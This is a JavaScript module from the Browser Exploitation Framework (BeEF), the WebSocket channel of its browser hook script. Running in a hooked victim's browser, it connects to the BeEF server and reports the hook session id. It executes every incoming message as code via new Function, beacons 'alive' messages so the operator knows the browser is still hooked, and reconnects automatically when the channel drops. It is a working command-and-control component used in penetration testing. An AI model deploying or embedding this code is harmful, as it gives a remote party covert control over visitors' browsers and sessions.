// // Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // /** * @Literal object: beef.websocket * * Manage the WebSocket communication channel. * This channel is much faster and responsive, and it's used automatically * if the browser supports WebSockets AND beef.http.websocket.enable = true. */ beef.websocket = { socket:null, ws_poll_timeout: "<%= @ws_poll_timeout %>", /** * Initialize the WebSocket client object. * Note: use WebSocketSecure only if the hooked origin is under https. * Mixed-content in WS is quite different from a non-WS context. */ init:function () { var webSocketServer = beef.net.host; var webSocketPort = "<%= @websocket_port %>"; var webSocketSecure = "<%= @websocket_secure %>"; var protocol = "ws://"; if(webSocketSecure && window.location.protocol=="https:"){ protocol = "wss://"; webSocketPort= "<%= @websocket_sec_port %>"; } if (beef.browser.isFF() && !!window.MozWebSocket) { beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); }else{ beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); } }, /** * Send Helo message to the BeEF server and start async polling. */ start:function () { new beef.websocket.init(); this.socket.onopen = function () { beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}'); beef.websocket.alive(); }; this.socket.onmessage = function (message) { // Data coming from the WebSocket channel is either of String, Blob or ArrayBufferdata type. // That's why it needs to be evaluated first. Using Function is a bit better than pure eval(). // It's not a big deal anyway, because the eval'ed data comes from BeEF itself, so it is implicitly trusted. new Function(message.data)(); }; this.socket.onclose = function () { setTimeout(function(){beef.websocket.start()}, 5000); }; }, /** * Send data back to BeEF. This is basically the same as beef.net.send, * but doesn't queue commands. * Example usage: * beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid + * '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) + * '","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }'); */ send:function (data) { try { this.socket.send(data); }catch(err){} }, /** * Polling mechanism, to notify the BeEF server that the browser is still hooked, * and the WebSocket channel still alive. * todo: there is probably a more efficient way to do this. Double-check WebSocket API. */ alive: function (){ beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}'); setTimeout("beef.websocket.alive()", beef.websocket.ws_poll_timeout); } }; beef.regCmp('beef.websocket');